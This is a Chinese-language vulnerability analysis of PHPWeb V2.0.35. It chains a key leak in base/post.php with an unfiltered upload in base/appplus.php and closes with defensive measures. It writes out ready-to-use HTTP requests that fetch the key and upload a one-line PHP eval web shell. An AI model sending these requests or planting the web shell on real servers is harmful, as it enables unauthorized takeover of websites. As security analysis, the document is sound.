PHPWeb 前台任意文件上传漏洞分析与利用

漏洞概述

本漏洞存在于 PHPWeb V2.0.35 版本中，涉及两个关键文件：

1. base/appplus.php - 存在未过滤的文件上传功能
2. base/post.php - 可泄露用于文件上传验证的密钥

环境要求

• 操作系统：Windows XP
• 服务器环境：PHPnow 1.6.5
• 受影响版本：PHPWeb V2.0.35

漏洞分析

1. 文件上传漏洞点 (base/appplus.php)

在 base/appplus.php 文件中存在一个未经过滤的文件上传功能，但需要绕过第15行的密钥校验：

// 伪代码表示
if ($_POST['key'] != md5(strrev($dbUser.$dbPass))) {
    die('Access Denied');
}
// 文件上传处理代码

2. 密钥泄露点 (base/post.php)

通过全局搜索 md5(strrev($dbUser.$dbPass))，发现 base/post.php 文件在特定条件下会输出这个值：

// 伪代码表示
if ($_REQUEST['act'] == "appcode") {
    echo md5(strrev($dbUser.$dbPass));
    exit;
}

漏洞利用步骤

第一步：获取密钥

1. 构造请求获取密钥：

   POST /base/post.php HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   act=appcode
   

2. 服务器响应将包含 md5(strrev($dbUser.$dbPass)) 的值

第二步：利用文件上传

1. 使用获取到的密钥构造文件上传请求：

   POST /base/appplus.php HTTP/1.1
   Host: target.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxxxx
   
   ------WebKitFormBoundaryxxxxxx
   Content-Disposition: form-data; name="key"
   
   [获取到的MD5值]
   ------WebKitFormBoundaryxxxxxx
   Content-Disposition: form-data; name="file"; filename="shell.php"
   Content-Type: application/octet-stream
   
   <?php @eval($_POST['cmd']); ?>
   ------WebKitFormBoundaryxxxxxx--
   

防御措施

1. 升级到最新版本
2. 对文件上传功能实施严格的过滤：
   • 检查文件扩展名
   • 验证文件内容
   • 限制上传目录的执行权限
3. 避免在客户端可访问的脚本中泄露敏感信息
4. 使用更复杂的验证机制而非简单的MD5值比较

总结

该漏洞利用了两个关键点：

1. 敏感信息泄露漏洞 (base/post.php)
2. 未授权文件上传漏洞 (base/appplus.php)

通过组合这两个漏洞，攻击者可以完全控制网站服务器。建议用户立即升级或应用补丁。